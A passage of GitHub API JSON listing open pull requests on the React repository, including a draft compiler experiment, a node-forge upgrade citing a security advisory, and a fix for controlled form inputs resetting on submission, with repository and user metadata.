"public", "site_admin": false }, "description": "The library for web and native user interfaces", "fork": true, "url": "https://api.github.com/repos/romgrk/react", "created_at": "2023-09-16T01:40:16Z", "updated_at": "2024-03-29T16:09:04Z", "pushed_at": "2025-12-16T09:27:55Z", "homepage": "https://react.dev", "size": 123477, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": true, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "88ee1f595572b1dcf8f45897cb115b4bbd1aefb8", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35370" }, "html": { "href": "https://github.com/facebook/react/pull/35370" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35370" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35370/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35370/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35370/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/bb89000d03595f392fa4e89fa2f0c83e1f3e5fd8" } }, "author_association": "CONTRIBUTOR", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35364", "id": 3104043954, "node_id": "PR_kwDOAJy2Ks65A_Oy", "number": 35364, "state": "open", "locked": false, "title": "[compiler] proof of concept to validate relay derived setStates", "user": { "login": "jorge-cab", "id": 57368278, "node_id": "MDQ6VXNlcjU3MzY4Mjc4", "avatar_url": "https://avatars.githubusercontent.com/u/57368278?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jorge-cab", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "\nSummary:\nExperimenting with this a bit. Not a serious change yet\n\n---\n[//]: # (BEGIN SAPLING FOOTER)\nStack created with [Sapling](https://sapling-scm.com). Best reviewed with [ReviewStack](https://reviewstack.dev/facebook/react/pull/35364).\n* __->__ #35364\n* #35175", "created_at": "2025-12-15T21:19:28Z", "updated_at": "2025-12-15T22:25:55Z", "closed_at": null, "merged_at": null, "merge_commit_sha": null, "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": true, "head": { "label": "facebook:pr35364", "ref": "pr35364", "sha": "1631e559b3837944802841797067fef2685420a8", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "bcf97c7564cbe0c903a16a8d6ff52f124f2f06ff", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35364" }, "html": { "href": "https://github.com/facebook/react/pull/35364" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35364" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35364/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35364/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35364/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/1631e559b3837944802841797067fef2685420a8" } }, "author_association": "CONTRIBUTOR", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 3 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35363", "id": 3103917531, "node_id": "PR_kwDOAJy2Ks65AgXb", "number": 35363, "state": "open", "locked": false, "title": "Upgrade node-forge to ^1.3.2", "user": { "login": "EugeneChoi4", "id": 20482229, "node_id": "MDQ6VXNlcjIwNDgyMjI5", "avatar_url": "https://avatars.githubusercontent.com/u/20482229?v=4", "gravatar_id": "", "url": "https://api.github.com/users/EugeneChoi4", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "Upgrading to address [node-forge advisory](https://github.com/digitalbazaar/forge/security/advisories/GHSA-5gfm-wpxj-wjgq?fbclid=IwZXh0bgNhZW0CMTAAYnJpZBExakkwMHNYU3FseFMxY1B5UXNydGMGYXBwX2lkEDIyMjAzOTE3ODgyMDA4OTIAAR60aDRzUo1zltAeY8g-GQ11d-4JLe9AY_FqVPLA0DBWcU5vWFjBbkny7kRIKA_aem_AfzaJZz1HC7zbOtzXhDGWg)\r\n", "created_at": "2025-12-15T20:32:28Z", "updated_at": "2025-12-16T16:40:25Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "3051ac3192de02c3642978dff684d388b3a70048", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "EugeneChoi4:upgrade-node-forge", "ref": "upgrade-node-forge", "sha": "3d3db6596eed046968dfc6cf0fa12c911f1f2e8e", "user": { "login": "EugeneChoi4", "id": 20482229, "node_id": "MDQ6VXNlcjIwNDgyMjI5", "avatar_url": "https://avatars.githubusercontent.com/u/20482229?v=4", "gravatar_id": "", "url": "https://api.github.com/users/EugeneChoi4", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1044384902, "node_id": "R_kgDOPkAMhg", "name": "react", "full_name": "EugeneChoi4/react", "private": false, "owner": { "login": "EugeneChoi4", "id": 20482229, "node_id": "MDQ6VXNlcjIwNDgyMjI5", "avatar_url": "https://avatars.githubusercontent.com/u/20482229?v=4", "gravatar_id": "", "url": "https://api.github.com/users/EugeneChoi4", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/EugeneChoi4/react", "created_at": "2025-08-25T15:48:20Z", "updated_at": "2026-03-05T16:59:31Z", "pushed_at": "2026-03-05T16:59:16Z", "homepage": "https://react.dev", "size": 127107, "stargazers_count": 0, "watchers_count": 0, "language": "JavaScript", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "88ee1f595572b1dcf8f45897cb115b4bbd1aefb8", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35363" }, "html": { "href": "https://github.com/facebook/react/pull/35363" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35363" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35363/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35363/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35363/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/3d3db6596eed046968dfc6cf0fa12c911f1f2e8e" } }, "author_association": "CONTRIBUTOR", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35359", "id": 3100686748, "node_id": "PR_kwDOAJy2Ks640Lmc", "number": 35359, "state": "open", "locked": false, "title": "Fix: Controlled form inputs reset on form submission", "user": { "login": "rdanciu11", "id": 117170300, "node_id": "U_kgDOBvvgfA", "avatar_url": "https://avatars.githubusercontent.com/u/117170300?v=4", "gravatar_id": "", "url": "https://api.github.com/users/rdanciu11", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "## Summary\r\nFixes controlled form inputs incorrectly resetting after form submission with form actions.\r\n\r\n## Fixes\r\n- Fixes #31695\r\n- Fixes #30580 \r\n\r\n## The Bug\r\nWhen a form with a function `action` is submitted, controlled form inputs (those with `checked` or `value` props) are incorrectly reset to their default values. This breaks the expected behavior where controlled inputs should maintain their state.\r\n\r\n**Affected input types:**\r\n- Text inputs (``)\r\n- Select elements (`